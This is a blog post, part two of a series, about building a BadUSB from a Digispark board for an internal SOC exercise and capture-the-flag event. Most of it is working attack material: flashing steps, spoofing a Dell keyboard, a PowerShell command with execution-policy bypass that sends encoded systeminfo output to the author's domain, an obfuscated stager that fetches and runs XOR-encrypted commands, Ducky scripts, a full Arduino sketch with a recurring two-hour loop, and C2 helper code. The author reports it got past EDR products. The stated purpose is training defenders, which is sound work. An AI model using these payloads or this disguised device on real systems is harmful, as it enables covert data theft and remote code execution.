From sadusb to badusb. Building an internal SOC exercise [2/3]

let’s have fun

hardware
badusb
digispark
duckify
CTF
Published

July 16, 2024

Introduction

After my failed attempts at reading the contents of a suspicious USB device, I decided to change the hat and use the badusb for my own evil purposes.

This is the obvious turn of events after the frustration I detailed in my previous blog post: How to safely investigate an unknown and potentially malicious USB device [1/3]

Learning how to weaponize

The first step is to learn how to flash a custom payload.

I’ve learned that ATtiny devices are a bit faulty and outdated, but let’s try anyway!

How to flash

There’s a ton of documentation out there, but finding something that works in 2024 is more difficult. Much of it is about 10 years old (!).

The easiest way would be to check the Digispark documentation, but oh no, the website is no longer available.

Looking back in time, we had to add an Additional Board Manager URL with the value http://digistump.com/package_digistump_index.json to the Arduino IDE. Then we could install the board manager “Digistump AVR Boards by Digistump”, but that resource is no longer available.

Luckily, there are mirrors and alternatives, and even the holy Web Archive has an old version (1.6.7). ArminJo forked the original repo and continued to maintain it until 2023, which then became deprecated in favor of ATTinyCore.

Sadly, ATTinyCore doesn’t include the DigiKeyboard library anymore. According to the principal contributor:

The digistump core jumps through flaming hoops on one leg in the dark just to get any sort of functionality whatsoever - they compromise the functionality of the chip in every way.

In summary, with the new USB implementations of modern operating systems, the timing constraints are too demanding for the poor ATtinys.

Somehow, I found a way to make it work.

spacehuhntech has a pretty Duckify application for converting BadUSB scripts into Arduino IDE Sketches. They also have nice documentation about how to install and use it. It’s based on the deprecated ArminJo’s board manager, but for now, it worked for me.

Steps

Instructions based on duckify huhn documentation, but I never made it work using the bootloader and plugging in the USB. Instead, I used avrdude to flash directly without any bootloader defined.

1 - Prepare the programmer

  1. Install the Arduino IDE
  2. Flash the Arduino with the Arduino ISP
  3. Make the SPI connections to the clipped ATtiny (explained in Dumping memory, Second attempt: Arduino)

2 - Install the Board Manager

  1. Go to File > Preferences > Additional Boards Manager URLs and paste
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json
  1. Click OK to save and close the Preferences
  2. Go to Tools > Board > Boards Manager, search for Digispark, and install “Digistump AVR Boards” by Digistump (version 1.7.5)

3.a - Flash new sketch using Arduino IDE

  1. Go to duckify.huhn.me and write your badUSB script
  2. Select System, Keyboard, and Digispark Mode, and click convert
  3. Copy the generated code and paste it into a new Arduino IDE Sketch
  4. Go to Tools > Board > Digistump AVR Boards and select Digispark
  5. Select the Port of the Arduino (the programmer)
  6. Select Burn Bootloader Method > Fresh Install (via ISP)
  7. Select Clock > 16 MHz - No USB
  8. Select Programmer > Arduino as ISP
  9. Click Verify (in the top left)
  10. It has compiled the source code in a temporary folder; find it in the output panel and locate the .hex file (something like /tmp/arduino/sketches/<random_value>/sketch_name.ino.hex).
  11. Flash the hex file using avrdude:
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:/path/to/sketch_name.ino.hex

3.b - Alternative method using Arduino CLI

  1. Install Arduino CLI
  2. Create a folder with the name of the project
  3. Go to duckify.huhn.me and write your badUSB script
  4. Select System, Keyboard, and Digispark Mode, and click convert
  5. Copy the generated code and paste it into a new .ino file inside the newly created folder with the same name
project_name
└── project_name.ino
  1. Compile using arduino-cli
arduino-cli compile -e --fqbn digistump:avr:digispark-tiny project_name/project_name.ino
  1. A new build folder is created
project_name
├── build
│   └── digistump.avr.digispark-tiny
│       ├── project_name.ino.eep
│       ├── project_name.ino.elf
│       ├── project_name.ino.hex
│       ├── project_name.ino.lst
│       ├── project_name.ino.map
│       ├── project_name.ino.with_bootloader.bin
│       └── project_name.ino.with_bootloader.hex
└── project_name.ino
  1. Flash with avrdude
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:project_name/build/digistump.avr.digispark-tiny/project_name.ino.hex

By using this way, the flashing process can be more or less automated in a simple script.

Fuse tuning

In order to make it work, I had to modify some fuse values.

To read the fuse values:

sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h -U lock:r:-:h

Optimal values:

Fuse Value Description
lfuse 0xf1 High Frequency PPL Clock, nominal frequency of 16 MHz; Start-up time 16K CK / 14 CK + 64 ms
hfuse 0xdf Enable Serial Program and Data Downloading and Brown-out detection disabled
efuse 0xfe Self Programming enabled
lock 0xff No memory lock features enabled

And to write fuse values:

sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:w:0xf1:m -U hfuse:w:0xdf:m -U efuse:w:0xfe:m -U lock:w:0xff:m

Configure keyboard

The Digispark can be configured to appear as a different device, such as an Apple keyboard or a harmless greasy corporate Dell keyboard.

From the duckify huhn documentation:

  1. Find where the DigisparkKeyboard library is located
  2. Edit the file usbconfig.h:
    • USB VID (USB_CFG_VENDOR_ID)
    • USB PID (USB_CFG_DEVICE_ID)
    • Vendor name (USB_CFG_VENDOR_NAME and USB_CFG_VENDOR_NAME_LEN)
    • Device name (USB_CFG_DEVICE_NAME and USB_CFG_DEVICE_NAME_LEN)

A list of possible registered USB devices can be found on websites like devicehunt.com

I chose a Dell keyboard, and the modified values are:

#define USB_CFG_VENDOR_ID 0x3c, 0x41
[...]
#define USB_CFG_DEVICE_ID 0x10, 0x20
[...]
#define USB_CFG_VENDOR_NAME     'D','e','l','l',' ','C','o','m','p','u','t','e','r',' ','C','o','r','p','.'
[...]
#define USB_CFG_VENDOR_NAME_LEN 19
[...]
#define USB_CFG_DEVICE_NAME     'K','e','y','b','o','a','r','d'
[...]
#define USB_CFG_DEVICE_NAME_LEN 8

Other problems

The badusb does not work well with USB 3.0 ports due to a timing issues. However, using a USB 2.0 extension cable or a USB hub forces a downgrade from USB 3.0 (9 pins) to USB 2.0 (4 pins) and solves the problem :)

Crafting the exercise

Earlier this year, Mandiant published an article titled Evolution of UNC4990: Uncovering USB Malware’s Hidden Depths that reminded us that BadUSB devices are still used as an initial infection vector today.

My idea was to plug my USB device into a micro PC behind a TV. Of course, I had insider information and physical access, but I worked there and this is an exercise.

If I wanted to maintain persistence, the payload execution should be scheduled. I achieved this behavior using the following code, running in the loop section and sleeping for a couple of hours in between.

void setup() {}

void loop() {
    // ...
    unsigned long seconds = 1000L;  // Notice the L 
    unsigned long minutes = seconds * 60;
    unsigned long hours = minutes * 60;

    // sleep for 2 hours
    delay(2*hours);
    // ...
}

I divided the exercise into two different phases:

Phase 1: Exfiltration

The first phase is the easy one: just a request exfiltrating data to a server controlled by me:

powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"

The output of the systeminfo command is base64 encoded and sent to my domain in the URL path.

The Ducky script would be something like this:

DELAY 5000
GUI R
DELAY 1000
STRING cmd /k
DELAY 500
ENTER
DELAY 5000
STRING powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"
DELAY 500
ENTER
DELAY 10000
STRING exit
DELAY 500
ENTER

Phase 2: C2 implant

The second phase is a bit more complex and is executed a couple of minutes after the exfiltration phase.

First, it spawns a cmd, then a powershell, and finally runs the obfuscated payload:

$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))

De-obfuscating it reveals four different parts:

  1. It requests the URL https://my.domain without a User-Agent and using the HTTP method OPTIONS. It then selects the headers and saves them to the variable $h.
$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;
  1. In the second part, it retrieves the contents of the x-ctf header.
$h=$h.headers['x-'+[char]99+'tf'];
  1. Next, it defines a hardcoded key. I’ll leave the cracking and deciphering the meaning of the password as an exercise for the reader.
$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);
  1. The final part performs XOR decryption on the contents of the header using the hardcoded key. The output is executed using iex (Invoke-Expression).
iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))

I also created a small Python function to generate encrypted second-stage payloads on my minimal c2 server:

def generate_header_c2():
    # generate encrypted header command using xor
    encrypted_command = ""
    for i in range(len(X_HEADER_VALUE)):
        encrypted_command += chr(ord(X_HEADER_VALUE[i]) ^ KEY[i % len(KEY)])
    encrypted_command_b64 = base64.b64encode(encrypted_command.encode())
    return {f"{X_HEADER_NAME}": encrypted_command_b64.decode()}

I tested the payload on different EDRs, and my malicious second-stage payload executed fine without major alerts. The tested payloads were harmless like hostname or ipconfig. Hopefully, if the next payload were really malicious, it would probably be detected.

The second Ducky script looks like this:

DELAY 10000
GUI R
DELAY 2000
STRING cmd /k
DELAY 500
ENTER
DELAY 2000
STRING powershell -ver 5 -nol -nop -ep bypass
DELAY 500
ENTER
STRING $h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))
DELAY 1000
ENTER
DELAY 10000
STRING exit
DELAY 500
ENTER
DELAY 1000
STRING exit
DELAY 500
ENTER

Packing up

With the two ducky script payloads ready, we can proceed to duckify.huhn.me to convert them into an Arduino IDE sketch.

To transform the badusb into a scheduler, I relocated the code from the setup() function to the loop() function and added delays between phases and at the end of execution. This configuration ensures the implant sleeps for 2 hours between executions.

Depending on the OS system or the keyboard language selected during the duckify conversion, the value pairs of the different characters may differ.

#include "DigiKeyboard.h"

const uint8_t key_cmd[] PROGMEM = {0,6, 0,16, 0,7, 0,44, 2,36, 0,14};
const uint8_t key_exfil[] PROGMEM = {0,19, 0,18, 0,26, 0,8, 0,21, 0,22, 0,11, 0,8, ...};
const uint8_t key_exit[] PROGMEM = {0,8, 0,27, 0,12, 0,23};
const uint8_t key_ps[] PROGMEM = {0,19, 0,18, 0,26, 0,8, 0,21, 0,22, ...};
const uint8_t key_c2[] PROGMEM = {2,33, 0,11, 2,39, 0,12, 0,26, ...};

void duckyString(const uint8_t* keys, size_t len) {  
    for(size_t i=0; i<len; i+=2) {
        DigiKeyboard.sendKeyStroke(pgm_read_byte_near(keys + i+1), pgm_read_byte_near(keys + i));
    }
}

void setup() {}

void loop() {
  pinMode(1, OUTPUT); // Enable LED
  digitalWrite(1, LOW); // Turn LED off
  DigiKeyboard.sendKeyStroke(0); // Tell computer no key is pressed

  unsigned long seconds = 1000L;
  unsigned long minutes = seconds * 60;
  unsigned long hours = minutes * 60;

  // Exfiltrate systeminfo via GET request
  DigiKeyboard.delay(5000); // DELAY 5000
  DigiKeyboard.sendKeyStroke(21, 8); // GUI R
  DigiKeyboard.delay(1000); // DELAY 1000
  duckyString(key_cmd, sizeof(key_cmd)); // STRING cmd /k
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(5000); // DELAY 1000
  duckyString(key_exfil, sizeof(key_exfil)); // STRING powershell...
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(10000); // DELAY 10000
  duckyString(key_exit, sizeof(key_exit)); // STRING exit
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER

  delay(1*minutes);

  // c2 execute from encrypted header
  DigiKeyboard.delay(10000); // DELAY 10000
  DigiKeyboard.sendKeyStroke(21, 8); // GUI R
  DigiKeyboard.delay(2000); // DELAY 2000
  duckyString(key_cmd, sizeof(key_cmd)); // STRING cmd /k
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(2000); // DELAY 2000
  duckyString(key_ps, sizeof(key_ps)); // STRING powershell...
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  duckyString(key_c2, sizeof(key_c2)); // STRING $h=iwr -useR('')...
  DigiKeyboard.delay(1000); // DELAY 1000
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(10000); // DELAY 10000
  duckyString(key_exit, sizeof(key_exit)); // STRING exit
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER
  DigiKeyboard.delay(1000); // DELAY 1000
  duckyString(key_exit, sizeof(key_exit)); // STRING exit
  DigiKeyboard.delay(500); // DELAY 500
  DigiKeyboard.sendKeyStroke(40, 0); // ENTER

  delay(2*hours);
}

Following the steps explained earlier, I compiled and flashed the final sketch, completing the setup with the extension USB cable and a new 3D-printed case with a phishy salaries_2024.xlsx label on it.

The following day at the office, I simply waited until everyone had gone home, stealthily plugged in the suspicious USB, and hoped everything worked as planned.

Additionally, I developed a Telegram bot to monitor the exfiltrated data and control the C2 implant.

Gamification

To improve the quality of the exercise, I organized a Capture The Flag (CTF) event for my team. With different challenges and hints, it’s easier to achieve the objectives and get more familiar with all the different tools and solutions of the SOC. After all, who doesn’t enjoy a good CTF?

Setting up everything was straightforward thanks to CTFd, ensuring a smooth and engaging event.

Final scoreboard:

Overall, it was a fun experience.

Conclusion

Despite initial setbacks and frustrations, thanks to being more stubborn than a mule, I finally created a functional BadUSB. And why not use it for something useful?

I enjoyed crafting each step of the payload and chaining them together. Thinking like an attacker can be very useful for the defense team, as it provides a broader perspective of the cybersecurity landscape. It also helps to improve the detections and response.

Creating the CTF was the perfect way to wrap everything up. It was not only fun but also a great learning experience.

But weren’t these articles about reversing a badusb? Where is the reversing? Well, now that we have a malicious USB stick, we can finally reverse it. But that will be in the next post.

Back to top